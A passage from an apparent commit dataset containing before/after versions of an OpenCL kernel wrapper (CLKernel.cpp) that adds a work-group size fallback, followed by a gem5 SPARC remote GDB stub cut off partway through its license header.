\"CLDevice.hpp\"\n#include <stdio.h>\n#include <sys\/stat.h>\n\nnamespace PV {\n\nstatic char * load_program_source(const char *filename);\n\nCLKernel::CLKernel(cl_context context, cl_command_queue commands, cl_device_id device,\n const char * filename, const char * name)\n{\n this->device = device;\n this->commands = commands;\n this->profiling = true;\n this->elapsed = 0;\n\n#ifdef PV_USE_OPENCL\n\n int status = CL_SUCCESS;\n\n \/\/ Create the compute program from the source buffer\n \/\/\n char * source = load_program_source(filename);\n program = clCreateProgramWithSource(context, 1, (const char **) &source, NULL, &status);\n if (!program || status != CL_SUCCESS)\n {\n printf(\"Error: Failed to create compute program!\\n\");\n CLDevice::print_error_code(status);\n exit(status);\n }\n\n \/\/ Build the program executable\n \/\/\n status = clBuildProgram(program, 0, NULL, NULL, NULL, NULL);\n if (status != CL_SUCCESS)\n {\n size_t len;\n char buffer[2048];\n\n printf(\"Error: Failed to build program executable!\\n\");\n clGetProgramBuildInfo(program, device, CL_PROGRAM_BUILD_LOG, sizeof(buffer), buffer, &len);\n printf(\"%s\\n\", buffer);\n CLDevice::print_error_code(status);\n exit(status);\n }\n\n \/\/ Create the compute kernel in the program we wish to run\n \/\/\n kernel = clCreateKernel(program, name, &status);\n if (!kernel || status != CL_SUCCESS)\n {\n fprintf(stderr, \"Error: Failed to create compute kernel!\\n\");\n CLDevice::print_error_code(status);\n exit(status);\n }\n\n#endif \/\/ PV_USE_OPENCL\n\n}\n\nint CLKernel::run(size_t global_work_size)\n{\n int status = CL_SUCCESS;\n\n#ifdef PV_USE_OPENCL\n\n size_t local_work_size;\n\n \/\/ get the maximum work group size for executing the kernel on the device\n \/\/\n status = clGetKernelWorkGroupInfo(kernel, device, CL_KERNEL_WORK_GROUP_SIZE,\n sizeof(size_t), &local_work_size, NULL);\n if (status != CL_SUCCESS) {\n fprintf(stderr, \"Error: Failed to retrieve kernel work group info! %d\\n\", status);\n CLDevice::print_error_code(status);\n exit(status);\n } else {\n printf(\"run: local_work_size==%ld global_work_size==%ld\\n\", local_work_size, global_work_size);\n }\n \/\/ execute the kernel over the entire range of our 1d input data set\n \/\/ using the maximum number of work group items for this device\n \/\/\n status = clEnqueueNDRangeKernel(commands, kernel, 1, NULL,\n &global_work_size, &local_work_size, 0, NULL, &event);\n if (status != CL_SUCCESS) {\n fprintf(stderr, \"CLDevice::run(): Failed to execute kernel!\\n\");\n CLDevice::print_error_code(status);\n exit(status);\n }\n\n \/\/ wait for the command commands to get serviced before reading back results\n \/\/\n clFinish(commands);\n\n#endif \/\/ PV_USE_OPENCL\n\n return status;\n}\n\nint CLKernel::run(size_t gWorkSizeX, size_t gWorkSizeY, size_t lWorkSizeX, size_t lWorkSizeY)\n{\n int status = CL_SUCCESS;\n\n#ifdef PV_USE_OPENCL\n\n size_t local_work_size[2];\n size_t global_work_size[2];\n size_t max_local_size;\n\n global_work_size[0] = gWorkSizeX;\n global_work_size[1] = gWorkSizeY;\n\n local_work_size[0] = lWorkSizeX;\n local_work_size[1] = lWorkSizeY;\n\n#ifdef PV_USE_TAU\n int tau_id = 10;\n TAU_START(\"CLKernel::run::CPU\");\n#endif\n\n \/\/ get the maximum work group size for executing the kernel on the device\n \/\/\n status = clGetKernelWorkGroupInfo(kernel, device, CL_KERNEL_WORK_GROUP_SIZE,\n sizeof(size_t), &max_local_size, NULL);\n if (status != CL_SUCCESS) {\n fprintf(stderr, \"Error: Failed to retrieve kernel work group info! (status==%d)\\n\", status);\n CLDevice::print_error_code(status);\n exit(status);\n } else {\n \/\/printf(\"run: local_work_size==(%ld,%ld) global_work_size==(%ld,%ld)\\n\",\n \/\/ local_work_size[0], local_work_size[1], global_work_size[0], global_work_size[1]);\n }\n\n \/\/ execute the kernel over the entire range of our 1d input data set\n \/\/ using the maximum number of work group items for this device\n \/\/\n status = clEnqueueNDRangeKernel(commands, kernel, 2, NULL,\n global_work_size, local_work_size, 0, NULL, &event);\n if (status) {\n fprintf(stderr, \"CLDevice::run(): Failed to execute kernel! (status==%d)\\n\", status);\n fprintf(stderr, \"CLDevice::run(): max_local_work_size==%ld\\n\", max_local_size);\n CLDevice::print_error_code(status);\n exit(status);\n }\n\n \/\/ wait for the command commands to get serviced before reading back results\n \/\/\n clFinish(commands);\n\n \/\/ get profiling information\n \/\/\n if (profiling) {\n size_t param_size;\n cl_ulong start, end;\n#ifdef PV_USE_TAU\n tau_id += 1000;\n TAU_STOP(\"CLKernel::run::CPU\");\n#endif\n status = clGetEventProfilingInfo(event, CL_PROFILING_COMMAND_START,\n sizeof(start), &start, ¶m_size);\n status = clGetEventProfilingInfo(event, CL_PROFILING_COMMAND_END,\n sizeof(end), &end, ¶m_size);\n if (status == 0) {\n elapsed = (end - start) \/ 1000; \/\/ microseconds\n }\n#ifdef PV_USE_TAU\n Tau_opencl_register_gpu_event(\"CLKernel::run::GPU\", tau_id, start, end);\n#endif\n }\n\n#endif \/\/ PV_USE_OPENCL\n\n return status;\n}\n\nint CLKernel::setKernelArg(int argid, int arg)\n{\n int status = CL_SUCCESS;\n\n#ifdef PV_USE_OPENCL\n\n status = clSetKernelArg(kernel, argid, sizeof(int), &arg);\n if (status != CL_SUCCESS) {\n fprintf(stderr, \"CLDevice::addKernelArg: Failed to set kernel argument! %d\\n\", status);\n CLDevice::print_error_code(status);\n exit(status);\n }\n\n#endif \/\/ PV_USE_OPENCL\n\n return status;\n}\n\nint CLKernel::setKernelArg(int argid, float arg)\n{\n int status = CL_SUCCESS;\n\n#ifdef PV_USE_OPENCL\n\n status = clSetKernelArg(kernel, argid, sizeof(float), &arg);\n if (status != CL_SUCCESS) {\n fprintf(stderr, \"CLDevice::addKernelArg: Failed to set kernel argument! %d\\n\", status);\n CLDevice::print_error_code(status);\n exit(status);\n }\n\n#endif \/\/ PV_USE_OPENCL\n\n return status;\n}\n\nint CLKernel::setKernelArg(int argid, CLBuffer * buf)\n{\n int status = CL_SUCCESS;\n\n#ifdef PV_USE_OPENCL\n cl_mem mobj = buf->clMemObject();\n\n status = clSetKernelArg(kernel, argid, sizeof(cl_mem), &mobj);\n if (status != CL_SUCCESS) {\n fprintf(stderr, \"CLDevice::addKernelArg: Failed to set kernel argument! %d\\n\", status);\n CLDevice::print_error_code(status);\n exit(status);\n }\n#endif \/\/ PV_USE_OPENCL\n\n return status;\n}\n\nint CLKernel::setLocalArg(int argid, size_t size)\n{\n int status = CL_SUCCESS;\n\n#ifdef PV_USE_OPENCL\n\n status = clSetKernelArg(kernel, argid, size, 0);\n if (status != CL_SUCCESS) {\n fprintf(stderr, \"CLDevice::addLocalArg: Failed to set kernel argument! %d\\n\", status);\n CLDevice::print_error_code(status);\n exit(status);\n }\n\n#endif \/\/ PV_USE_OPENCL\n\n return status;\n}\n\nstatic char *\nload_program_source(const char *filename)\n{\n struct stat statbuf;\n FILE *fh;\n char *source;\n\n fh = fopen(filename, \"r\");\n if (fh == 0)\n return 0;\n\n stat(filename, &statbuf);\n source = (char *) malloc(statbuf.st_size + 1);\n fread(source, statbuf.st_size, 1, fh);\n source[statbuf.st_size] = '\\0';\n\n return source;\n}\n\n}\n<commit_msg>Set local_work_size to 1 if max_local_work_size is less than the local work size chosen. This is needed if device is 1 (using CPU).<commit_after>\/*\n * CLKernel.cpp\n *\n * Created on: Aug 1, 2010\n * Author: rasmussn\n *\/\n\n#include \"CLKernel.hpp\"\n#include \"CLDevice.hpp\"\n#include <stdio.h>\n#include <sys\/stat.h>\n\nnamespace PV {\n\nstatic char * load_program_source(const char *filename);\n\nCLKernel::CLKernel(cl_context context, cl_command_queue commands, cl_device_id device,\n const char * filename, const char * name)\n{\n this->device = device;\n this->commands = commands;\n this->profiling = true;\n this->elapsed = 0;\n\n#ifdef PV_USE_OPENCL\n\n int status = CL_SUCCESS;\n\n \/\/ Create the compute program from the source buffer\n \/\/\n char * source = load_program_source(filename);\n program = clCreateProgramWithSource(context, 1, (const char **) &source, NULL, &status);\n if (!program || status != CL_SUCCESS)\n {\n printf(\"Error: Failed to create compute program!\\n\");\n CLDevice::print_error_code(status);\n exit(status);\n }\n\n \/\/ Build the program executable\n \/\/\n status = clBuildProgram(program, 0, NULL, NULL, NULL, NULL);\n if (status != CL_SUCCESS)\n {\n size_t len;\n char buffer[2048];\n\n printf(\"Error: Failed to build program executable!\\n\");\n clGetProgramBuildInfo(program, device, CL_PROGRAM_BUILD_LOG, sizeof(buffer), buffer, &len);\n printf(\"%s\\n\", buffer);\n CLDevice::print_error_code(status);\n exit(status);\n }\n\n \/\/ Create the compute kernel in the program we wish to run\n \/\/\n kernel = clCreateKernel(program, name, &status);\n if (!kernel || status != CL_SUCCESS)\n {\n fprintf(stderr, \"Error: Failed to create compute kernel!\\n\");\n CLDevice::print_error_code(status);\n exit(status);\n }\n\n#endif \/\/ PV_USE_OPENCL\n\n}\n\nint CLKernel::run(size_t global_work_size)\n{\n int status = CL_SUCCESS;\n\n#ifdef PV_USE_OPENCL\n\n size_t local_work_size;\n\n \/\/ get the maximum work group size for executing the kernel on the device\n \/\/\n status = clGetKernelWorkGroupInfo(kernel, device, CL_KERNEL_WORK_GROUP_SIZE,\n sizeof(size_t), &local_work_size, NULL);\n if (status != CL_SUCCESS) {\n fprintf(stderr, \"Error: Failed to retrieve kernel work group info! %d\\n\", status);\n CLDevice::print_error_code(status);\n exit(status);\n } else {\n printf(\"run: local_work_size==%ld global_work_size==%ld\\n\", local_work_size, global_work_size);\n }\n \/\/ execute the kernel over the entire range of our 1d input data set\n \/\/ using the maximum number of work group items for this device\n \/\/\n status = clEnqueueNDRangeKernel(commands, kernel, 1, NULL,\n &global_work_size, &local_work_size, 0, NULL, &event);\n if (status != CL_SUCCESS) {\n fprintf(stderr, \"CLDevice::run(): Failed to execute kernel!\\n\");\n CLDevice::print_error_code(status);\n exit(status);\n }\n\n \/\/ wait for the command commands to get serviced before reading back results\n \/\/\n clFinish(commands);\n\n#endif \/\/ PV_USE_OPENCL\n\n return status;\n}\n\nint CLKernel::run(size_t gWorkSizeX, size_t gWorkSizeY, size_t lWorkSizeX, size_t lWorkSizeY)\n{\n int status = CL_SUCCESS;\n\n#ifdef PV_USE_OPENCL\n\n size_t local_work_size[2];\n size_t global_work_size[2];\n size_t max_local_size;\n\n global_work_size[0] = gWorkSizeX;\n global_work_size[1] = gWorkSizeY;\n\n local_work_size[0] = lWorkSizeX;\n local_work_size[1] = lWorkSizeY;\n\n#ifdef PV_USE_TAU\n int tau_id = 10;\n TAU_START(\"CLKernel::run::CPU\");\n#endif\n\n \/\/ get the maximum work group size for executing the kernel on the device\n \/\/\n status = clGetKernelWorkGroupInfo(kernel, device, CL_KERNEL_WORK_GROUP_SIZE,\n sizeof(size_t), &max_local_size, NULL);\n if (status != CL_SUCCESS) {\n fprintf(stderr, \"Error: Failed to retrieve kernel work group info! (status==%d)\\n\", status);\n CLDevice::print_error_code(status);\n exit(status);\n } else {\n \/\/printf(\"run: local_work_size==(%ld,%ld) global_work_size==(%ld,%ld)\\n\",\n \/\/ local_work_size[0], local_work_size[1], global_work_size[0], global_work_size[1]);\n }\n\n if (lWorkSizeX * lWorkSizeY > max_local_size) {\n local_work_size[0] = 1;\n local_work_size[1] = 1;\n }\n\n \/\/ execute the kernel over the entire range of our 1d input data set\n \/\/ using the maximum number of work group items for this device\n \/\/\n status = clEnqueueNDRangeKernel(commands, kernel, 2, NULL,\n global_work_size, local_work_size, 0, NULL, &event);\n if (status) {\n fprintf(stderr, \"CLDevice::run(): Failed to execute kernel! (status==%d)\\n\", status);\n fprintf(stderr, \"CLDevice::run(): max_local_work_size==%ld\\n\", max_local_size);\n CLDevice::print_error_code(status);\n exit(status);\n }\n\n \/\/ wait for the command commands to get serviced before reading back results\n \/\/\n clFinish(commands);\n\n \/\/ get profiling information\n \/\/\n if (profiling) {\n size_t param_size;\n cl_ulong start, end;\n#ifdef PV_USE_TAU\n tau_id += 1000;\n TAU_STOP(\"CLKernel::run::CPU\");\n#endif\n status = clGetEventProfilingInfo(event, CL_PROFILING_COMMAND_START,\n sizeof(start), &start, ¶m_size);\n status = clGetEventProfilingInfo(event, CL_PROFILING_COMMAND_END,\n sizeof(end), &end, ¶m_size);\n if (status == 0) {\n elapsed = (end - start) \/ 1000; \/\/ microseconds\n }\n#ifdef PV_USE_TAU\n Tau_opencl_register_gpu_event(\"CLKernel::run::GPU\", tau_id, start, end);\n#endif\n }\n\n#endif \/\/ PV_USE_OPENCL\n\n return status;\n}\n\nint CLKernel::setKernelArg(int argid, int arg)\n{\n int status = CL_SUCCESS;\n\n#ifdef PV_USE_OPENCL\n\n status = clSetKernelArg(kernel, argid, sizeof(int), &arg);\n if (status != CL_SUCCESS) {\n fprintf(stderr, \"CLDevice::addKernelArg: Failed to set kernel argument! %d\\n\", status);\n CLDevice::print_error_code(status);\n exit(status);\n }\n\n#endif \/\/ PV_USE_OPENCL\n\n return status;\n}\n\nint CLKernel::setKernelArg(int argid, float arg)\n{\n int status = CL_SUCCESS;\n\n#ifdef PV_USE_OPENCL\n\n status = clSetKernelArg(kernel, argid, sizeof(float), &arg);\n if (status != CL_SUCCESS) {\n fprintf(stderr, \"CLDevice::addKernelArg: Failed to set kernel argument! %d\\n\", status);\n CLDevice::print_error_code(status);\n exit(status);\n }\n\n#endif \/\/ PV_USE_OPENCL\n\n return status;\n}\n\nint CLKernel::setKernelArg(int argid, CLBuffer * buf)\n{\n int status = CL_SUCCESS;\n\n#ifdef PV_USE_OPENCL\n cl_mem mobj = buf->clMemObject();\n\n status = clSetKernelArg(kernel, argid, sizeof(cl_mem), &mobj);\n if (status != CL_SUCCESS) {\n fprintf(stderr, \"CLDevice::addKernelArg: Failed to set kernel argument! %d\\n\", status);\n CLDevice::print_error_code(status);\n exit(status);\n }\n#endif \/\/ PV_USE_OPENCL\n\n return status;\n}\n\nint CLKernel::setLocalArg(int argid, size_t size)\n{\n int status = CL_SUCCESS;\n\n#ifdef PV_USE_OPENCL\n\n status = clSetKernelArg(kernel, argid, size, 0);\n if (status != CL_SUCCESS) {\n fprintf(stderr, \"CLDevice::addLocalArg: Failed to set kernel argument! %d\\n\", status);\n CLDevice::print_error_code(status);\n exit(status);\n }\n\n#endif \/\/ PV_USE_OPENCL\n\n return status;\n}\n\nstatic char *\nload_program_source(const char *filename)\n{\n struct stat statbuf;\n FILE *fh;\n char *source;\n\n fh = fopen(filename, \"r\");\n if (fh == 0)\n return 0;\n\n stat(filename, &statbuf);\n source = (char *) malloc(statbuf.st_size + 1);\n fread(source, statbuf.st_size, 1, fh);\n source[statbuf.st_size] = '\\0';\n\n return source;\n}\n\n}\n<|endoftext|>"} {"text":"<commit_before>\/*\n * Copyright (c) 2002-2005 The Regents of The University of Michigan\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions are\n * met: redistributions of source code must retain the above copyright\n * notice, this list of conditions and the following disclaimer;\n * redistributions in binary form must reproduce the above copyright\n * notice, this list of conditions and the following disclaimer in the\n * documentation and\/or other materials provided with the distribution;\n * neither the name of the copyright holders nor the names of its\n * contributors may be used to endorse or promote products derived from\n * this software without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n * \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR\n * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT\n * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,\n * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY\n * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\n * Authors: Nathan Binkert\n *\/\n\n\/*\n * Copyright (c) 1990, 1993\n *\tThe Regents of the University of California. All rights reserved.\n *\n * This software was developed by the Computer Systems Engineering group\n * at Lawrence Berkeley Laboratory under DARPA contract BG 91-66 and\n * contributed to Berkeley.\n *\n * All advertising materials mentioning features or use of this software\n * must display the following acknowledgement:\n *\tThis product includes software developed by the University of\n *\tCalifornia, Lawrence Berkeley Laboratories.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n * 1. Redistributions of source code must retain the above copyright\n * notice, this list of conditions and the following disclaimer.\n * 2. Redistributions in binary form must reproduce the above copyright\n * notice, this list of conditions and the following disclaimer in the\n * documentation and\/or other materials provided with the distribution.\n * 3. All advertising materials mentioning features or use of this software\n * must display the following acknowledgement:\n *\tThis product includes software developed by the University of\n *\tCalifornia, Berkeley and its contributors.\n * 4. Neither the name of the University nor the names of its contributors\n * may be used to endorse or promote products derived from this software\n * without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND\n * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n * ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE\n * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL\n * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS\n * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)\n * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT\n * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY\n * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF\n * SUCH DAMAGE.\n *\n *\t@(#)kgdb_stub.c\t8.4 (Berkeley) 1\/12\/94\n *\/\n\n\/*-\n * Copyright (c) 2001 The NetBSD Foundation, Inc.\n * All rights reserved.\n *\n * This code is derived from software contributed to The NetBSD Foundation\n * by Jason R. Thorpe.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n * 1. Redistributions of source code must retain the above copyright\n * notice, this list of conditions and the following disclaimer.\n * 2. Redistributions in binary form must reproduce the above copyright\n * notice, this list of conditions and the following disclaimer in the\n * documentation and\/or other materials provided with the distribution.\n * 3. All advertising materials mentioning features or use of this software\n * must display the following acknowledgement:\n *\tThis product includes software developed by the NetBSD\n *\tFoundation, Inc. and its contributors.\n * 4. Neither the name of The NetBSD Foundation nor the names of its\n * contributors may be used to endorse or promote products derived\n * from this software without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE NETBSD FOUNDATION, INC. AND CONTRIBUTORS\n * ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED\n * TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR\n * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE FOUNDATION OR CONTRIBUTORS\n * BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\n * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\n * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\n * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\n * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\n * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n * POSSIBILITY OF SUCH DAMAGE.\n *\/\n\n\/*\n * $NetBSD: kgdb_stub.c,v 1.8 2001\/07\/07 22:58:00 wdk Exp $\n *\n * Taken from NetBSD\n *\n * \"Stub\" to allow remote cpu to debug over a serial line using gdb.\n *\/\n\n#include <sys\/signal.h>\n\n#include <string>\n#include <unistd.h>\n\n#include \"arch\/vtophys.hh\"\n#include \"arch\/sparc\/remote_gdb.hh\"\n#include \"base\/intmath.hh\"\n#include \"base\/remote_gdb.hh\"\n#include \"base\/socket.hh\"\n#include \"base\/trace.hh\"\n#include \"config\/full_system.hh\"\n#include \"cpu\/thread_context.hh\"\n#include \"cpu\/static_inst.hh\"\n#include \"mem\/physical.hh\"\n#include \"mem\/port.hh\"\n#include \"sim\/system.hh\"\n\nusing namespace std;\nusing namespace TheISA;\n\nRemoteGDB::RemoteGDB(System *_system, ThreadContext *c)\n : BaseRemoteGDB(_system, c, NumGDBRegs), nextBkpt(0)\n{}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ RemoteGDB::acc\n\/\/\n\/\/\tDetermine if the mapping at va..(va+len) is valid.\n\/\/\nbool\nRemoteGDB::acc(Addr va, size_t len)\n{\n \/\/@Todo In NetBSD, this function checks if all addresses\n \/\/from va to va + len have valid page mape entries. Not\n \/\/sure how this will work for other OSes or in general.\n if (va)\n return true;\n return false;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ RemoteGDB::getregs\n\/\/\n\/\/\tTranslate the kernel debugger register format into\n\/\/\tthe GDB register format.\nvoid\nRemoteGDB::getregs()\n{\n memset(gdbregs.regs, 0, gdbregs.size);\n\n if (context->readMiscReg(MISCREG_PSTATE) &\n PSTATE::am) {\n uint32_t *regs;\n regs = (uint32_t*)gdbregs.regs;\n regs[Reg32Pc] = htobe((uint32_t)context->readPC());\n regs[Reg32Npc] = htobe((uint32_t)context->readNextPC());\n for(int x = RegG0; x <= RegI0 + 7; x++)\n regs[x] = htobe((uint32_t)context->readIntReg(x - RegG0));\n\n regs[Reg32Y] = htobe((uint32_t)context->readIntReg(NumIntArchRegs + 1));\n regs[Reg32Psr] = htobe((uint32_t)context->readMiscReg(MISCREG_PSTATE));\n regs[Reg32Fsr] = htobe((uint32_t)context->readMiscReg(MISCREG_FSR));\n regs[Reg32Csr] = htobe((uint32_t)context->readIntReg(NumIntArchRegs + 2));\n } else {\n gdbregs.regs[RegPc] = htobe(context->readPC());\n gdbregs.regs[RegNpc] = htobe(context->readNextPC());\n for(int x = RegG0; x <= RegI0 + 7; x++)\n gdbregs.regs[x] = htobe(context->readIntReg(x - RegG0));\n\n gdbregs.regs[RegFsr] = htobe(context->readMiscReg(MISCREG_FSR));\n gdbregs.regs[RegFprs] = htobe(context->readMiscReg(MISCREG_FPRS));\n gdbregs.regs[RegY] = htobe(context->readIntReg(NumIntArchRegs + 1));\n gdbregs.regs[RegState] = htobe(\n context->readMiscReg(MISCREG_CWP) |\n context->readMiscReg(MISCREG_PSTATE) << 8 |\n context->readMiscReg(MISCREG_ASI) << 24 |\n context->readIntReg(NumIntArchRegs + 2) << 32);\n }\n\n DPRINTF(GDBRead, \"PC=%#x\\n\", gdbregs.regs[RegPc]);\n\n \/\/Floating point registers are left at 0 in netbsd\n \/\/All registers other than the pc, npc and int regs\n \/\/are ignored as well.\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ RemoteGDB::setregs\n\/\/\n\/\/\tTranslate the GDB register format into the kernel\n\/\/\tdebugger register format.\n\/\/\nvoid\nRemoteGDB::setregs()\n{\n context->setPC(gdbregs.regs[RegPc]);\n context->setNextPC(gdbregs.regs[RegNpc]);\n for(int x = RegG0; x <= RegI0 + 7; x++)\n context->setIntReg(x - RegG0, gdbregs.regs[x]);\n \/\/Only the integer registers, pc and npc are set in netbsd\n}\n\nvoid\nRemoteGDB::clearSingleStep()\n{\n if (nextBkpt)\n clearTempBreakpoint(nextBkpt);\n}\n\nvoid\nRemoteGDB::setSingleStep()\n{\n nextBkpt = context->readNextPC();\n setTempBreakpoint(nextBkpt);\n}\n<commit_msg>SPARC,Remote GDB: Flesh out the acc function for SE mode.<commit_after>\/*\n * Copyright (c) 2002-2005 The Regents of The University of Michigan\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions are\n * met: redistributions of source code must retain the above copyright\n * notice, this list of conditions and the following disclaimer;\n * redistributions in binary form must reproduce the above copyright\n * notice, this list of conditions and the following disclaimer in the\n * documentation and\/or other materials provided with the distribution;\n * neither the name of the copyright holders nor the names of its\n * contributors may be used to endorse or promote products derived from\n * this software without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n * \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR\n * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT\n * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,\n * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY\n * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\n * Authors: Nathan Binkert\n *\/\n\n\/*\n * Copyright (c) 1990, 1993\n *\tThe Regents of the University of California. All rights reserved.\n *\n * This software was developed by the Computer Systems Engineering group\n * at Lawrence Berkeley Laboratory under DARPA contract BG 91-66 and\n * contributed to Berkeley.\n *\n * All advertising materials mentioning features or use of this software\n * must display the following acknowledgement:\n *\tThis product includes software developed by the University of\n *\tCalifornia, Lawrence Berkeley Laboratories.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n * 1. Redistributions of source code must retain the above copyright\n * notice, this list of conditions and the following disclaimer.\n * 2. Redistributions in binary form must reproduce the above copyright\n * notice, this list of conditions and the following disclaimer in the\n * documentation and\/or other materials provided with the distribution.\n * 3. All advertising materials mentioning features or use of this software\n * must display the following acknowledgement:\n *\tThis product includes software developed by the University of\n *\tCalifornia, Berkeley and its contributors.\n * 4. Neither the name of the University nor the names of its contributors\n * may be used to endorse or promote products derived from this software\n * without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND\n * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n * ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE\n * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL\n * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS\n * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)\n * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT\n * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY\n * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF\n * SUCH DAMAGE.\n *\n *\t@(#)kgdb_stub.c\t8.4 (Berkeley) 1\/12\/94\n *\/\n\n\/*-\n * Copyright (c) 2001 The NetBSD Foundation, Inc.\n * All rights reserved.\n *\n * This code is derived from software contributed to The NetBSD Foundation\n * by Jason R. Thorpe.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n * 1. Redistributions of source code must retain the above copyright\n * notice, this list of conditions and the following disclaimer.\n * 2. Redistributions in binary form must reproduce the above copyright\n * notice, this list of conditions and the following disclaimer in the\n * documentation and\/or other materials provided with the distribution.\n * 3. All advertising materials mentioning features or use of this software\n * must display the following acknowledgement:\n *\tThis product includes software developed by the NetBSD\n *\tFoundation, Inc. and its contributors.\n * 4. Neither the name of The NetBSD Foundation nor the names of its\n * contributors may be used to endorse or promote products derived\n * from this software without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE NETBSD FOUNDATION, INC. AND CONTRIBUTORS\n * ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT 